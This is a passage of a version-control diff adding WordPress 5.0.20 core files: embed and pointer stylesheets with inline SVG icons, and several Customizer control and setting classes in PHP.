+.screen-reader-text {
+	border: 0;
+	clip: rect(1px, 1px, 1px, 1px);
+	-webkit-clip-path: inset(50%);
+	clip-path: inset(50%);
+	height: 1px;
+	margin: -1px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 1px;
+	word-wrap: normal !important;
+}
+
+/* Dashicons */
+.dashicons {
+	display: inline-block;
+	width: 20px;
+	height: 20px;
+	background-color: transparent;
+	background-repeat: no-repeat;
+	background-size: 20px;
+	background-position: center;
+	transition: background .1s ease-in;
+	position: relative;
+	top: 5px;
+}
+
+.dashicons-no {
+	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M15.55%2013.7l-2.19%202.06-3.42-3.65-3.64%203.43-2.06-2.18%203.64-3.43-3.42-3.64%202.18-2.06%203.43%203.64%203.64-3.42%202.05%202.18-3.64%203.43z%27%20fill%3D%27%23fff%27%2F%3E%3C%2Fsvg%3E");
+}
+
+.dashicons-admin-comments {
+	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%2382878c%27%2F%3E%3C%2Fsvg%3E");
+}
+
+.wp-embed-comments a:hover .dashicons-admin-comments {
+	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%230073aa%27%2F%3E%3C%2Fsvg%3E");
+}
+
+.dashicons-share {
+	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%2382878c%27%2F%3E%3C%2Fsvg%3E");
+	display: none;
+}
+
+.js .dashicons-share {
+	display: inline-block;
+}
+
+.wp-embed-share-dialog-open:hover .dashicons-share {
+	background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%230073aa%27%2F%3E%3C%2Fsvg%3E");
+}
+
+.wp-embed {
+	padding: 25px;
+	font-size: 14px;
+	font-weight: 400;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	line-height: 1.5;
+	color: #82878c;
+	background: #fff;
+	border: 1px solid #e5e5e5;
+	box-shadow: 0 1px 1px rgba(0, 0, 0, .05);
+	/* Clearfix */
+	overflow: auto;
+	zoom: 1;
+}
+
+.wp-embed a {
+	color: #82878c;
+	text-decoration: none;
+}
+
+.wp-embed a:hover {
+	text-decoration: underline;
+}
+
+.wp-embed-featured-image {
+	margin-bottom: 20px;
+}
+
+.wp-embed-featured-image img {
+	width: 100%;
+	height: auto;
+	border: none;
+}
+
+.wp-embed-featured-image.square {
+	float: left;
+	max-width: 160px;
+	margin-right: 20px;
+}
+
+.wp-embed p {
+	margin: 0;
+}
+
+p.wp-embed-heading {
+	margin: 0 0 15px;
+	font-weight: 600;
+	font-size: 22px;
+	line-height: 1.3;
+}
+
+.wp-embed-heading a {
+	color: #32373c;
+}
+
+.wp-embed .wp-embed-more {
+	color: #b4b9be;
+}
+
+.wp-embed-footer {
+	display: table;
+	width: 100%;
+	margin-top: 30px;
+}
+
+.wp-embed-site-icon {
+	position: absolute;
+	top: 50%;
+	left: 0;
+	transform: translateY(-50%);
+	height: 25px;
+	width: 25px;
+	border: 0;
+}
+
+.wp-embed-site-title {
+	font-weight: 600;
+	line-height: 25px;
+}
+
+.wp-embed-site-title a {
+	position: relative;
+	display: inline-block;
+	padding-left: 35px;
+}
+
+.wp-embed-site-title,
+.wp-embed-meta {
+	display: table-cell;
+}
+
+.wp-embed-meta {
+	text-align: right;
+	white-space: nowrap;
+	vertical-align: middle;
+}
+
+.wp-embed-comments,
+.wp-embed-share {
+	display: inline;
+}
+
+.wp-embed-meta a:hover {
+	text-decoration: none;
+	color: #0073aa;
+}
+
+.wp-embed-comments a {
+	line-height: 25px;
+	display: inline-block;
+}
+
+.wp-embed-comments + .wp-embed-share {
+	margin-left: 10px;
+}
+
+.wp-embed-share-dialog {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	background-color: #222;
+	background-color: rgba(10, 10, 10, 0.9);
+	color: #fff;
+	opacity: 1;
+	transition: opacity .25s ease-in-out;
+}
+
+.wp-embed-share-dialog.hidden {
+	opacity: 0;
+	visibility: hidden;
+}
+
+.wp-embed-share-dialog-open,
+.wp-embed-share-dialog-close {
+	margin: -8px 0 0;
+	padding: 0;
+	background: transparent;
+	border: none;
+	cursor: pointer;
+	outline: none;
+}
+
+.wp-embed-share-dialog-open .dashicons,
+.wp-embed-share-dialog-close .dashicons {
+	padding: 4px;
+}
+
+.wp-embed-share-dialog-open .dashicons {
+	top: 8px;
+}
+
+.wp-embed-share-dialog-open:focus .dashicons,
+.wp-embed-share-dialog-close:focus .dashicons {
+	box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8);
+	border-radius: 100%;
+}
+
+.wp-embed-share-dialog-close {
+	position: absolute;
+	top: 20px;
+	right: 20px;
+	font-size: 22px;
+}
+
+.wp-embed-share-dialog-close:hover {
+	text-decoration: none;
+}
+
+.wp-embed-share-dialog-close .dashicons {
+	height: 24px;
+	width: 24px;
+	background-size: 24px;
+}
+
+.wp-embed-share-dialog-content {
+	height: 100%;
+	transform-style: preserve-3d;
+	overflow: hidden;
+}
+
+.wp-embed-share-dialog-text {
+	margin-top: 25px;
+	padding: 20px;
+}
+
+.wp-embed-share-tabs {
+	margin: 0 0 20px;
+	padding: 0;
+	list-style: none;
+}
+
+.wp-embed-share-tab-button {
+	display: inline-block;
+}
+
+.wp-embed-share-tab-button button {
+	margin: 0;
+	padding: 0;
+	border: none;
+	background: transparent;
+	font-size: 16px;
+	line-height: 1.3;
+	color: #aaa;
+	cursor: pointer;
+	transition: color .1s ease-in;
+}
+
+.wp-embed-share-tab-button [aria-selected="true"] {
+	color: #fff;
+}
+
+.wp-embed-share-tab-button button:hover {
+	color: #fff;
+}
+
+.wp-embed-share-tab-button + .wp-embed-share-tab-button {
+	margin: 0 0 0 10px;
+	padding: 0 0 0 11px;
+	border-left: 1px solid #aaa;
+}
+
+.wp-embed-share-tab[aria-hidden="true"] {
+	display: none;
+}
+
+p.wp-embed-share-description {
+	margin: 0;
+	font-size: 14px;
+	line-height: 1;
+	font-style: italic;
+	color: #aaa;
+}
+
+.wp-embed-share-input {
+	box-sizing: border-box;
+	width: 100%;
+	border: none;
+	height: 28px;
+	margin: 0 0 10px 0;
+	padding: 0 5px;
+	font-size: 14px;
+	font-weight: 400;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	line-height: 1.5;
+	resize: none;
+	cursor: text;
+}
+
+textarea.wp-embed-share-input {
+	height: 72px;
+}
+
+html[dir="rtl"] .wp-embed-featured-image.square {
+	float: right;
+	margin-right: 0;
+
+	margin-left: 20px;
+}
+
+html[dir="rtl"] .wp-embed-site-title a {
+	padding-left: 0;
+	padding-right: 35px;
+}
+
+html[dir="rtl"] .wp-embed-site-icon {
+	margin-right: 0;
+	margin-left: 10px;
+	left: auto;
+	right: 0;
+}
+
+html[dir="rtl"] .wp-embed-meta {
+	text-align: left;
+}
+
+html[dir="rtl"] .wp-embed-footer {
+}
+
+html[dir="rtl"] .wp-embed-share {
+	margin-left: 0;
+	margin-right: 10px;
+}
+
+html[dir="rtl"] .wp-embed-share-dialog-close {
+	right: auto;
+	left: 20px;
+}
+
+html[dir="rtl"] .wp-embed-share-tab-button + .wp-embed-share-tab-button {
+	margin: 0 10px 0 0;
+	padding: 0 11px 0 0;
+	border-left: none;
+	border-right: 1px solid #aaa;
+}
Index: /tags/5.0.20/src/wp-includes/css/wp-pointer.css
===================================================================
--- /tags/5.0.20/src/wp-includes/css/wp-pointer.css	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/css/wp-pointer.css	(revision 56912)
@@ -0,0 +1,224 @@
+.wp-pointer-content {
+	padding: 0 0 10px;
+	position: relative;
+	font-size: 13px;
+	background: #fff;
+	border: 1px solid #ddd;
+	box-shadow: 0 3px 6px rgba(0,0,0,0.075);
+}
+
+.wp-pointer-content h3 {
+	position: relative;
+	margin: -1px -1px 5px;
+	padding: 15px 18px 14px 60px;
+	border: 1px solid #3592b6;
+	border-bottom: none;
+	line-height: 1.4em;
+	font-size: 14px;
+	color: #fff;
+	background: #00a0d2;
+}
+
+.wp-pointer-content h3:before {
+	background: #fff;
+	border-radius: 50%;
+	color: #00a0d2;
+	content: "\f227";
+	font: normal 20px/1.6 dashicons;
+	position: absolute;
+	top: 8px;
+	left: 15px;
+	speak: none;
+	text-align: center;
+	width: 32px;
+	height: 32px;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.wp-pointer-content h4 {
+	margin: 1.33em 20px 1em;
+	font-size: 1.15em;
+}
+
+.wp-pointer-content p {
+	padding: 0 20px;
+}
+
+.wp-pointer-buttons {
+	margin: 0;
+	padding: 5px 15px;
+	overflow: auto;
+}
+
+.wp-pointer-buttons a {
+	float: right;
+	display: inline-block;
+	text-decoration: none;
+}
+
+.wp-pointer-buttons a.close {
+	padding-left: 3px;
+	position: relative;
+}
+
+.wp-pointer-buttons a.close:before {
+	background: none;
+	color: #72777c;
+	content: "\f153";
+	display: block !important;
+	font: normal 16px/1 dashicons;
+	speak: none;
+	margin: 1px 0;
+	text-align: center;
+	-webkit-font-smoothing: antialiased !important;
+	width: 10px;
+	height: 100%;
+	position: absolute;
+	left: -15px;
+	top: 1px;
+}
+
+.wp-pointer-buttons a.close:hover:before {
+	color: #c00;
+}
+
+/* The arrow base class must take up no space, even with transparent borders. */
+.wp-pointer-arrow,
+.wp-pointer-arrow-inner {
+	position: absolute;
+	width: 0;
+	height: 0;
+}
+
+.wp-pointer-arrow {
+	z-index: 10;
+	width: 0;
+	height: 0;
+	border: 0 solid transparent;
+}
+
+.wp-pointer-arrow-inner {
+	z-index: 20;
+}
+
+/* Make Room for the Arrow! */
+.wp-pointer-top,
+.wp-pointer-undefined {
+	padding-top: 13px;
+}
+
+.wp-pointer-bottom {
+	margin-top: -13px;
+	padding-bottom: 13px;
+}
+
+/* rtl:ignore */
+.wp-pointer-left {
+	padding-left: 13px;
+}
+/* rtl:ignore */
+.wp-pointer-right {
+	margin-left: -13px;
+	padding-right: 13px;
+}
+
+/* Base Size & Positioning */
+.wp-pointer-top .wp-pointer-arrow,
+.wp-pointer-bottom .wp-pointer-arrow,
+.wp-pointer-undefined .wp-pointer-arrow {
+	left: 50px;
+}
+
+.wp-pointer-left .wp-pointer-arrow,
+.wp-pointer-right .wp-pointer-arrow {
+	top: 50%;
+	margin-top: -15px;
+}
+
+/* Arrow Sprite */
+.wp-pointer-top .wp-pointer-arrow,
+.wp-pointer-undefined .wp-pointer-arrow {
+	top: 0;
+	border-width: 0 13px 13px 13px;
+	border-bottom-color: #3592b6;
+}
+
+.wp-pointer-top .wp-pointer-arrow-inner,
+.wp-pointer-undefined .wp-pointer-arrow-inner {
+	top: 1px;
+	margin-left: -13px;
+	margin-top: -13px;
+	border: 13px solid transparent;
+	border-bottom-color: #00a0d2;
+	display: block;
+	content: " ";
+}
+
+.wp-pointer-bottom .wp-pointer-arrow {
+	bottom: 0;
+	border-width: 13px 13px 0 13px;
+	border-top-color: #ccc;
+}
+
+.wp-pointer-bottom .wp-pointer-arrow-inner {
+	bottom: 1px;
+	margin-left: -13px;
+	margin-bottom: -13px;
+	border: 13px solid transparent;
+	border-top-color: #fff;
+	display: block;
+	content: " ";
+}
+
+/* rtl:ignore */
+.wp-pointer-left .wp-pointer-arrow {
+	left: 0;
+	border-width: 13px 13px 13px 0;
+	border-right-color: #ccc;
+}
+
+/* rtl:ignore */
+.wp-pointer-left .wp-pointer-arrow-inner {
+	left: 1px;
+	margin-left: -13px;
+	margin-top: -13px;
+	border: 13px solid transparent;
+	border-right-color: #fff;
+	display: block;
+	content: " ";
+}
+
+/* rtl:ignore */
+.wp-pointer-right .wp-pointer-arrow {
+	right: 0;
+	border-width: 13px 0 13px 13px;
+	border-left-color: #ccc;
+}
+
+/* rtl:ignore */
+.wp-pointer-right .wp-pointer-arrow-inner {
+	right: 1px;
+	margin-right: -13px;
+	margin-top: -13px;
+	border: 13px solid transparent;
+	border-left-color: #fff;
+	display: block;
+	content: " ";
+}
+
+.wp-pointer.arrow-bottom .wp-pointer-content {
+	margin-bottom: -45px;
+}
+
+.wp-pointer.arrow-bottom .wp-pointer-arrow {
+	top: 100%;
+	margin-top: -30px;
+}
+
+/* Disable pointers at responsive sizes */
+@media screen and ( max-width: 782px ) {
+	.wp-pointer {
+		display: none;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-background-image-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-background-image-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-background-image-control.php	(revision 56912)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * Customize API: WP_Customize_Background_Image_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Background Image Control class.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Image_Control
+ */
+class WP_Customize_Background_Image_Control extends WP_Customize_Image_Control {
+	public $type = 'background';
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Image_Control::__construct()
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 */
+	public function __construct( $manager ) {
+		parent::__construct( $manager, 'background_image', array(
+			'label'    => __( 'Background Image' ),
+			'section'  => 'background_image',
+		) );
+	}
+
+	/**
+	 * Enqueue control related scripts/styles.
+	 *
+	 * @since 4.1.0
+	 */
+	public function enqueue() {
+		parent::enqueue();
+
+		$custom_background = get_theme_support( 'custom-background' );
+		wp_localize_script( 'customize-controls', '_wpCustomizeBackground', array(
+			'defaults' => ! empty( $custom_background[0] ) ? $custom_background[0] : array(),
+			'nonces' => array(
+				'add' => wp_create_nonce( 'background-add' ),
+			),
+		) );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-background-image-setting.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-background-image-setting.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-background-image-setting.php	(revision 56912)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * Customize API: WP_Customize_Background_Image_Setting class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customizer Background Image Setting class.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Setting
+ */
+final class WP_Customize_Background_Image_Setting extends WP_Customize_Setting {
+	public $id = 'background_image_thumb';
+
+	/**
+	 * @since 3.4.0
+	 *
+	 * @param $value
+	 */
+	public function update( $value ) {
+		remove_theme_mod( 'background_image_thumb' );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-background-position-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-background-position-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-background-position-control.php	(revision 56912)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * Customize API: WP_Customize_Background_Position_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.7.0
+ */
+
+/**
+ * Customize Background Position Control class.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_Background_Position_Control extends WP_Customize_Control {
+
+	/**
+	 * Type.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	public $type = 'background_position';
+
+	/**
+	 * Don't render the control content from PHP, as it's rendered via JS on load.
+	 *
+	 * @since 4.7.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * Render a JS template for the content of the position control.
+	 *
+	 * @since 4.7.0
+	 */
+	public function content_template() {
+		$options = array(
+			array(
+				'left top'   => array( 'label' => __( 'Top Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ),
+				'center top' => array( 'label' => __( 'Top' ), 'icon' => 'dashicons dashicons-arrow-up-alt' ),
+				'right top'  => array( 'label' => __( 'Top Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ),
+			),
+			array(
+				'left center'   => array( 'label' => __( 'Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ),
+				'center center' => array( 'label' => __( 'Center' ), 'icon' => 'background-position-center-icon' ),
+				'right center'  => array( 'label' => __( 'Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ),
+			),
+			array(
+				'left bottom'   => array( 'label' => __( 'Bottom Left' ), 'icon' => 'dashicons dashicons-arrow-left-alt' ),
+				'center bottom' => array( 'label' => __( 'Bottom' ), 'icon' => 'dashicons dashicons-arrow-down-alt' ),
+				'right bottom'  => array( 'label' => __( 'Bottom Right' ), 'icon' => 'dashicons dashicons-arrow-right-alt' ),
+			),
+		);
+		?>
+		<# if ( data.label ) { #>
+			<span class="customize-control-title">{{{ data.label }}}</span>
+		<# } #>
+		<# if ( data.description ) { #>
+			<span class="description customize-control-description">{{{ data.description }}}</span>
+		<# } #>
+		<div class="customize-control-content">
+			<fieldset>
+				<legend class="screen-reader-text"><span><?php _e( 'Image Position' ); ?></span></legend>
+				<div class="background-position-control">
+				<?php foreach ( $options as $group ) : ?>
+					<div class="button-group">
+					<?php foreach ( $group as $value => $input ) : ?>
+						<label>
+							<input class="screen-reader-text" name="background-position" type="radio" value="<?php echo esc_attr( $value ); ?>">
+							<span class="button display-options position"><span class="<?php echo esc_attr( $input['icon'] ); ?>" aria-hidden="true"></span></span>
+							<span class="screen-reader-text"><?php echo $input['label']; ?></span>
+						</label>
+					<?php endforeach; ?>
+					</div>
+				<?php endforeach; ?>
+				</div>
+			</fieldset>
+		</div>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-code-editor-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-code-editor-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-code-editor-control.php	(revision 56912)
@@ -0,0 +1,108 @@
+<?php
+/**
+ * Customize API: WP_Customize_Code_Editor_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.9.0
+ */
+
+/**
+ * Customize Code Editor Control class.
+ *
+ * @since 4.9.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_Code_Editor_Control extends WP_Customize_Control {
+
+	/**
+	 * Customize control type.
+	 *
+	 * @since 4.9.0
+	 * @var string
+	 */
+	public $type = 'code_editor';
+
+	/**
+	 * Type of code that is being edited.
+	 *
+	 * @since 4.9.0
+	 * @var string
+	 */
+	public $code_type = '';
+
+	/**
+	 * Code editor settings.
+	 *
+	 * @see wp_enqueue_code_editor()
+	 * @since 4.9.0
+	 * @var array|false
+	 */
+	public $editor_settings = array();
+
+	/**
+	 * Enqueue control related scripts/styles.
+	 *
+	 * @since 4.9.0
+	 */
+	public function enqueue() {
+		$this->editor_settings = wp_enqueue_code_editor( array_merge(
+			array(
+				'type' => $this->code_type,
+				'codemirror' => array(
+					'indentUnit' => 2,
+					'tabSize' => 2,
+				),
+			),
+			$this->editor_settings
+		) );
+	}
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 4.9.0
+	 * @see WP_Customize_Control::json()
+	 *
+	 * @return array Array of parameters passed to the JavaScript.
+	 */
+	public function json() {
+		$json = parent::json();
+		$json['editor_settings'] = $this->editor_settings;
+		$json['input_attrs'] = $this->input_attrs;
+		return $json;
+	}
+
+	/**
+	 * Don't render the control content from PHP, as it's rendered via JS on load.
+	 *
+	 * @since 4.9.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * Render a JS template for control display.
+	 *
+	 * @since 4.9.0
+	 */
+	public function content_template() {
+		?>
+		<# var elementIdPrefix = 'el' + String( Math.random() ); #>
+		<# if ( data.label ) { #>
+			<label for="{{ elementIdPrefix }}_editor" class="customize-control-title">
+				{{ data.label }}
+			</label>
+		<# } #>
+		<# if ( data.description ) { #>
+			<span class="description customize-control-description">{{{ data.description }}}</span>
+		<# } #>
+		<div class="customize-control-notifications-container"></div>
+		<textarea id="{{ elementIdPrefix }}_editor"
+			<# _.each( _.extend( { 'class': 'code' }, data.input_attrs ), function( value, key ) { #>
+				{{{ key }}}="{{ value }}"
+			<# }); #>
+			></textarea>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-color-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-color-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-color-control.php	(revision 56912)
@@ -0,0 +1,119 @@
+<?php
+/**
+ * Customize API: WP_Customize_Color_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Color Control class.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_Color_Control extends WP_Customize_Control {
+	/**
+	 * Type.
+	 *
+	 * @var string
+	 */
+	public $type = 'color';
+
+	/**
+	 * Statuses.
+	 *
+	 * @var array
+	 */
+	public $statuses;
+
+	/**
+	 * Mode.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	public $mode = 'full';
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Control::__construct()
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      Control ID.
+	 * @param array                $args    Optional. Arguments to override class property defaults.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$this->statuses = array( '' => __('Default') );
+		parent::__construct( $manager, $id, $args );
+	}
+
+	/**
+	 * Enqueue scripts/styles for the color picker.
+	 *
+	 * @since 3.4.0
+	 */
+	public function enqueue() {
+		wp_enqueue_script( 'wp-color-picker' );
+		wp_enqueue_style( 'wp-color-picker' );
+	}
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 3.4.0
+	 * @uses WP_Customize_Control::to_json()
+	 */
+	public function to_json() {
+		parent::to_json();
+		$this->json['statuses'] = $this->statuses;
+		$this->json['defaultValue'] = $this->setting->default;
+		$this->json['mode'] = $this->mode;
+	}
+
+	/**
+	 * Don't render the control content from PHP, as it's rendered via JS on load.
+	 *
+	 * @since 3.4.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * Render a JS template for the content of the color picker control.
+	 *
+	 * @since 4.1.0
+	 */
+	public function content_template() {
+		?>
+		<# var defaultValue = '#RRGGBB', defaultValueAttr = '',
+			isHueSlider = data.mode === 'hue';
+		if ( data.defaultValue && _.isString( data.defaultValue ) && ! isHueSlider ) {
+			if ( '#' !== data.defaultValue.substring( 0, 1 ) ) {
+				defaultValue = '#' + data.defaultValue;
+			} else {
+				defaultValue = data.defaultValue;
+			}
+			defaultValueAttr = ' data-default-color=' + defaultValue; // Quotes added automatically.
+		} #>
+		<# if ( data.label ) { #>
+			<span class="customize-control-title">{{{ data.label }}}</span>
+		<# } #>
+		<# if ( data.description ) { #>
+			<span class="description customize-control-description">{{{ data.description }}}</span>
+		<# } #>
+		<div class="customize-control-content">
+			<label><span class="screen-reader-text">{{{ data.label }}}</span>
+			<# if ( isHueSlider ) { #>
+				<input class="color-picker-hue" type="text" data-type="hue" />
+			<# } else { #>
+				<input class="color-picker-hex" type="text" maxlength="7" placeholder="{{ defaultValue }}" {{ defaultValueAttr }} />
+ 			<# } #>
+			</label>
+		</div>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-cropped-image-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-cropped-image-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-cropped-image-control.php	(revision 56912)
@@ -0,0 +1,86 @@
+<?php
+/**
+ * Customize API: WP_Customize_Cropped_Image_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Cropped Image Control class.
+ *
+ * @since 4.3.0
+ *
+ * @see WP_Customize_Image_Control
+ */
+class WP_Customize_Cropped_Image_Control extends WP_Customize_Image_Control {
+
+	/**
+	 * Control type.
+	 *
+	 * @since 4.3.0
+	 * @var string
+	 */
+	public $type = 'cropped_image';
+
+	/**
+	 * Suggested width for cropped image.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 */
+	public $width = 150;
+
+	/**
+	 * Suggested height for cropped image.
+	 *
+	 * @since 4.3.0
+	 * @var int
+	 */
+	public $height = 150;
+
+	/**
+	 * Whether the width is flexible.
+	 *
+	 * @since 4.3.0
+	 * @var bool
+	 */
+	public $flex_width = false;
+
+	/**
+	 * Whether the height is flexible.
+	 *
+	 * @since 4.3.0
+	 * @var bool
+	 */
+	public $flex_height = false;
+
+	/**
+	 * Enqueue control related scripts/styles.
+	 *
+	 * @since 4.3.0
+	 */
+	public function enqueue() {
+		wp_enqueue_script( 'customize-views' );
+
+		parent::enqueue();
+	}
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Control::to_json()
+	 */
+	public function to_json() {
+		parent::to_json();
+
+		$this->json['width']       = absint( $this->width );
+		$this->json['height']      = absint( $this->height );
+		$this->json['flex_width']  = absint( $this->flex_width );
+		$this->json['flex_height'] = absint( $this->flex_height );
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-custom-css-setting.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-custom-css-setting.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-custom-css-setting.php	(revision 56912)
@@ -0,0 +1,199 @@
+<?php
+/**
+ * Customize API: WP_Customize_Custom_CSS_Setting class
+ *
+ * This handles validation, sanitization and saving of the value.
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.7.0
+ */
+
+/**
+ * Custom Setting to handle WP Custom CSS.
+ *
+ * @since 4.7.0
+ *
+ * @see WP_Customize_Setting
+ */
+final class WP_Customize_Custom_CSS_Setting extends WP_Customize_Setting {
+
+	/**
+	 * The setting type.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	public $type = 'custom_css';
+
+	/**
+	 * Setting Transport
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	public $transport = 'postMessage';
+
+	/**
+	 * Capability required to edit this setting.
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	public $capability = 'edit_css';
+
+	/**
+	 * Stylesheet
+	 *
+	 * @since 4.7.0
+	 * @var string
+	 */
+	public $stylesheet = '';
+
+	/**
+	 * WP_Customize_Custom_CSS_Setting constructor.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @throws Exception If the setting ID does not match the pattern `custom_css[$stylesheet]`.
+	 *
+	 * @param WP_Customize_Manager $manager The Customize Manager class.
+	 * @param string               $id      An specific ID of the setting. Can be a
+	 *                                      theme mod or option name.
+	 * @param array                $args    Setting arguments.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		parent::__construct( $manager, $id, $args );
+		if ( 'custom_css' !== $this->id_data['base'] ) {
+			throw new Exception( 'Expected custom_css id_base.' );
+		}
+		if ( 1 !== count( $this->id_data['keys'] ) || empty( $this->id_data['keys'][0] ) ) {
+			throw new Exception( 'Expected single stylesheet key.' );
+		}
